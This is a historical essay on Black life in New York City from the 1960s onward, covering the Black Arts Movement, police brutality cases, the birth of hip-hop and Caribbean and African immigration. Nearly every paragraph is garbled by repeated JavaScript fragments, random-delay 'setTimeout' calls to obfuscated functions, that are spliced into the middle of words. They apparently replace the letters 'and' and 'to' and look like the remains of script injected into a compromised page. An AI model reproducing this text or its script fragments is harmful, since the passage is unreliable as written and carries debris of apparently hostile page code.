          On Ocdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober 13, 1970, after two months on the run, political activist Angela Davis was arrested by the FBI in a motel in middom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town Manhattan. She had been charged with helping supply the guns for a shoodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout at the Marin County Courthouse in San Rafael, California, on August 7, which left four people dead, including the presiding judge. She was acquitted in June 1972 by an all-white jury.

The Black Arts Movement

          On the cultural front, New York saw the birth of the Black Arts Movement (BAM), the cultural arm of the Black Power Movement—or as scholar dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and BAM contribudom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor Larry Neal put it, the BAM was the “aesthetic dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and spiritual sister of the Black Power concept.” Amiri Baraka (formerly LeRoi Jones) launched the movement when he moved from the Village dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Harlem in 1965 (following Malcolm X’s assassination), dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}took the name Amiri Baraka, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and founded the Black Arts Reperdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory Theatre/School (BART/S.)

          A precursor of the movement was the Umbra Writers Workshop that met in the Lower East Side. After it split, some of its members moved dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Harlem, where Askia Muhammad Touré, Al Haynes, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Larry Neal formed the Black Nationalist “Updom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town Writers Movement.” Some members joined Amiri Baraka at BART/S. Neal dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Touré belonged dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the national Revolutionary Action Movement (RAM), which had a strong following in New York. Another component of the Black Arts Movement was the Harlem Writers Guild.

          In 1968, LeRoi Jones (the name he still used in the book) dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Larry Neal edited Black Fire: An Anthology of Afro-American Writing. A collection of essays, (mostly) poetry, fiction, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and drama by seventy-seven contribudom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors, including John Henrik Clarke, Sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokely Carmichael, Sun-Ra, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Sonia Sanchez, the book captured the spirit of the Black Arts Movement.

          As poet dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Black Arts Movement activist Kalamu ya Salaam explained, “The two hallmarks of Black Arts activity were the development of Black theater groups dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Black poetry performances dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and journals, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and both had close ties dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to community organizations dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and issues. Black theaters served as the focus of poetry, dance, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and music performances in addition dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to formal dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and ritual drama. Black theaters were also venues for community meetings, lectures, study groups, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and film screenings.”

          In March 1964, LeRoi Jones’s Dutchman, his most celebrated play, had opened off-Broadway at the Cherry Lane Theatre dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and won an Obie. Jones later brought it dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to BART/S. Actress dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and direcdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor Barbara Ann Teer, dissatisfied with the lack of respect for black culture in American professional theater, founded the National Black Theatre (NBT) in Harlem in 1968. (In 1983 NBT purchased property on 125th Street dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Fifth Avenue dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to develop the National Black Institute of Communication through Theater Arts, a block-long complex that combines commercial retail businesses with theater dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and arts activities.)

          New Yorkers Jayne Cortez, Sonia Sanchez, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Sekou Sundiata were among the best-known poets of the BAM; while Bronx-raised Gil Scott-Heron, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and spoken word group The Last Poets were some of the movement’s most creative musicians. Gil Scott-Heron, the son of an American mother dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and a Jamaican father, was born in Chicago dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and raised in the Bronx. He released his debut album A New Black Poet—Small Talk at 125th dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Lenox in1970. The title of the track “The Revolution will not be televised” was borrowed from the Black Power Movement.

          The spoken word group The Last Poets was founded in Mount Morris Park (now Marcus Garvey Park) in Harlem on May 19, 1968, on the occasion of Malcolm X’s birthday. Members changed over the years. Their most famous pieces, “When the Revolution Comes,” “Niggers Are Scared of Revolution,” dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and “New York, New York,” were recorded in 1970. The Last Poets, like Gil Scott-Heron, are credited for being a major influence on the emergence of hip-hop.

          The Black Power Movement’s various ideologies dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the literary creations of the Black Arts Movement were disseminated throughout the country by magazines, some of which were edited in New York. Freedomways, cofounded in 1961 by W. E. B. DuBois dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and edited by Shirley Graham DuBois; The Street Speaker dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and The Black Challenge, organs of Carlos Cooks’ s Nationalist Pioneer Movement; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Dan Watts’s Liberadom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor were precursors in the black revolutionary journals genre dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and found a new readership among Black Power activists. New literary publications like Umbra Magazine, Black Theatre, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Black Dialogue were also New York–based, although the main publications of the Black Power Movement emanated from the Bay Area dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Chicago.

          The African National Memorial Booksdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore—subtitled The House of Common Sense dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Home of Proper Propagdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda—owned dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and operated by Lewis Michaux at Seventh Avenue dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 125th street in Harlem until it closed in 1974; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Liberation Booksdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore, opened in 1967 by Una Malzac at 131st Street dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Lenox Avenue (renamed Malcolm X Boulevard in 1987), acted as cultural, political, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and social centers.

          The Ocean Hill–Brownsville struggle for community control of black education was fueled by the energy, ideas, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and ideology of the Black Power Movement. In 1968, in the wake of school disruptions, the board of education, with financial assistance from the Ford Foundation, established I.S. 201 in Harlem, along with experimental districts in lower Manhattan dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Ocean Hill–Brownsville in Brooklyn. Ministers, parents, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and teachers in Ocean Hill–Brownsville created the People’s Board of Education. Their goal was dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to decentralize the administration of the local schools in order dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to improve the quality of education available dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nonwhite children.

          The People’s Board began making personnel decisions in the local schools. As a result, the community found itself at odds with the United Federation of Teachers. The unified experiment collapsed because of a teachers’ strike in the fall.

          In higher education, John Henrik Clarke, one of the leading architects of the then-emerging discipline of Black Studies, founded the Department of Black dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Puerdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Rican Studies at Hunter College in 1969; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 1970 saw the opening of Medgar Evers College, a senior college of the City University of New York, in the Crown Heights section of Brooklyn. Named for the slain civil rights leader, it was the result of a request by community organizations. The same year, the City University of New York (CUNY) inaugurated an open admissions policy designed dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to increase the number of poor dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and minority students.

          The Black Power movement inspired other marginalized groups dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to assertively fight for empowerment. Among them was the black gay dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and lesbian community. Black gay men were part of the rebellion against the police that dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}took place at the Sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonewall Inn, a gay bar in Greenwich Village, in June 1969, an event that launched the gay liberation movement. Actually, the Gay Liberation Front allied itself with radical black groups such as the Black Panther Party. “However,” note scholars Robert Reid-Pharr dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Justin Rogers Cooper, “as most gay political groups abdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andoned their radical beginnings dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and reverted dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to predominantly white, middle-class outlook dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and membership, gay black activists became alienated from dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and less involved in their activities. Many blacks continued dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to feel unwelcome in the white gay community.” This reality led some years later dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the creation of black gay institutions. The Pentecostal preacher Charles Angel, who had contracted AIDS, founded Gay Men of African Descent (GMAD) in 1986; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Audre Lorde Project (ALP), a gay dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and lesbian organization for people of color, was organized in Fort Greene, Brooklyn.

Race Relations

          The racial tensions that characterized the 1960s dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and ’70s were encapsulated in the founding of SPONGE: the Society for the Prevention of Negroes Getting Everything in 1968 by white residents of Queens dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Brooklyn. It was their response dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the increase in civil rights dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Black Power protests. Race relations were so poor that Mayor John Lindsay established a commission dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to study racial hatred dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and tension in the city. Ten years later, seeing little improvement, the National Urban League declared the state of race relations in New York City dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be at a twenty-year low, especially in the relationship between the New York Police Department dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and African Americans. A series of incidents of police brutality dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and racial profiling occurred in the upcoming decades.

          On July 16, 1964, fifteen-year old James Powell was fatally shot by a white police officer (later cleared of all wrongdoing). For six nights African Americans battled with the police in Harlem dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Bedford-Stuyvesant. The uprising left one dead, hundreds of people injured, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 465 arrested. On December 20, 1986, Michael Griffith, of Trinidadian ancestry, was run over by a car while being chased by a white mob in Howard Beach, Queens. On August 23, 1989, Yusuf Hawkins was killed by a gang of white youths in the Bensonhurst section of Brooklyn. A “Day of Outrage dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Mourning” gathered 7,500 demonstradom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors across the Brooklyn Bridge. The march ended in violence as police clashed with the protesters.

          Several cases of police brutality during the mayoralty of Rudolph Giuliani got national attention. In 1996 Abner Louima, a Haitian American, was arrested after fighting outside a nightclub in Flatbush, Brooklyn. Four police officers beat him dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and he was then dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tortured in the bathroom of the 70th Precinct. On February 4, 1999, Amadou Diallo, a twenty-three-year-old Guinean, was killed by four plainclothes police officers in the doorway of his Bronx apartment building. As he tried dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to take his wallet out of his pocket, they shot forty-one bullets; nineteen hit him.

          The brutal death of Diallo sparked massive demonstrations, as did the change of venue dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Albany for the trial of the officers, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and their acquittal of all charges in February 2000. In the end, the City of New York settled a suit brought by Diallo’s parents by agreeing dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pay $3 million. In 2000, twenty-five-year-old Malcolm Ferguson dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Haitian-American security guard Patrick Dorismond were killed by police in the Bronx dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and middom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town Manhattan, respectively; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and in 2006, twenty-three-year-old Sean Bell was killed in Queens the night before his wedding by five undercover police officers. The three men who were tried were acquitted of all charges. A civil settlement awarded Bell’s family $3 million.

Arts dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Culture

          Nineteen sixty-eight was an important year in the cultural life of black New Yorkers. The Studio Museum in Harlem opened its door on 125th Street dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Fifth Avenue dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to promote the works of artists of African descent. The Negro Ensemble Company began operations with the goal of developing black acdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors, playwrights, technicians, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and managers. Walter J. Turnbull founded the Boys Choir of Harlem; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the concept of the African American Day Parade was born. Its first edition was held in Harlem in 1969, with Grdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Marshal Congressman Adam Claydom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Powell, Jr.

          In 1970 New York native Arthur Mitchell, moved by the assassination of Martin Luther King, Jr., founded the Dance Theatre of Harlem dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to provide African-American youth with the opportunity dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to learn dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and perform classical ballet. Harlem businessman Lloyd Williams launched Harlem Day in 1974. It became Harlem Week (dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today it lasts a month), a celebration of the borough’ s multiethnic economic, political, social, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and cultural hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory.

          But the most far-reaching artistic, social, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and cultural movement of the 1970s, one of the legacies of the Black Power Movement, was the birth of hip-hop in the postindustrial ldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andscape of the South Bronx. Hip-hop emerged in 1973 with the street dance parties of the legendary DJ Kool Herc (Clive Campbell). Kool Herc, born in Kingsdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, Jamaica, had migrated dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to New York City in 1967. Inspired by the Jamaican yard parties of his youth, he organized large parties, looping break-beats from soul, jazz, funk, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and disco tunes dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to which break-dancers could showcase their acrobatic talents.

          Afrika Bambaataa, who founded the Universal Zulu Nation in 1973, popularized the term “hip-hop” coined by DJ Lovebug Starski. Bambaataa stated, “When we made Hip Hop, we made it hoping it would be about peace, love, unity dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and having fun so that people could get away from the negativity that was plaguing our streets (gang violence, drug abuse, self hate, violence among those of African dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Latino descent). Even though this negativity still happens here dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and there, as the culture progresses, we play a big role in conflict resolution dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and enforcing positivity.”

          From the Bronx, hip-hop, made of MC’ing (rapping), DJ’ing, break dancing, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and graffiti art, expdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anded throughout the city, the nation, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the world. Grdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andmaster Flash dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and KRS-One from the Bronx; Heavy D, Run-DMC, Salt-n-Pepa, Nas, Chuck D, 50 Cent, LL Cool J from Queens; Nodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torious BIG, MC Lyte, Mos Def, Jay-Z, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Talib Kweli from Brooklyn; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Puff Daddy dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Tupac Shakur from Harlem are some of the hundreds of rappers who grew up in the city.

          Also notable were break-dancers The Rocksteady Crew, Crazy Legs, Mr. Wiggles, Fast Feet, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Tony Touch; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and graffiti artists such as Cornbread, Cool Earl, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Taki 183.

Immigration

          Starting in the late sixties, the newest black New Yorkers, more ethnically dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and culturally diverse than ever, were no longer mainly southern migrants. The Hart-Cellar Act of 1965 opened the doors dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to immigrants from the Caribbean, Latin America, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Africa. Immigration from Jamaica, Trinidad dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Tobago, St. Vincent, Grenada, Barbados, Panama, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Guyana increased dramatically. Nearly half of all immigrants from these isldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands settled in New York City, as did more than three-quarters of all Dominican immigrants. Dominicans are the largest foreign-born group in New York City, Jamaicans the third largest, Guyanese the fourth, Haitians the seventh, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Trinidadians the eighth.

          In 1967 Carlos Lezama, a Trinidadian of black Venezuelan origin, became president of the West Indian American Day Carnival Association, which had been holding a small celebration in Crown Heights after Carnival moved from Harlem in 1965 following the large influx of Caribbeans dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Brooklyn. Lezama obtained the right dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have the parade along Eastern Parkway in 1969, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and since then it has become the largest event in New York, drawing over 2 million people every year, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and thousdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands of marchers, bdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and floats.

          Half the Caribbean immigrants dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today live in Brooklyn, primarily in the neighborhoods of Crown Heights/East Flatbush, Bedford-Stuyvesant, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Brownsville/East New York. In Queens, they settled in Cambria Heights, Jamaica, Queens Village, Springfield Gardens, Laureldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, Jackson Heights, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Rosedale; they also settled in Central Harlem dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Washingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Heights in Manhattan, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and in the northeast dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and south Bronx.

          Growing numbers of Africans have made New York City their home. By 2010, they numbered slightly more than 92,400. Nigerians are the most numerous with about 15,700 (35 percent live in Brooklyn dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 27 percent in the Bronx). Ghanaians number about 15,000, 62 percent of whom live in the Bronx. Ethiopians, Senegalese, Sierra Leoneans, Liberians, Ivoirians, Malians, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Burkinabe are also increasingly represented in the African population. More generally, about half of the African-born population lives in the Bronx dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Brooklyn, 20 percent in Queens, 17 percent in Manhattan, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 7 percent in Staten Isldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and.

          The African presence has become very visible, especially on 116th Street in Harlem, where Africans—mostly from francophone West Africa—own restaurants dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tores. African businesses are also numerous on Malcolm X Boulevard dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Adam Claydom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Powell Boulevard above 125± Street. In mid-Manhattan, about six hundred West African traders sell African arts dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and crafts out of a mini-sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torage unit.

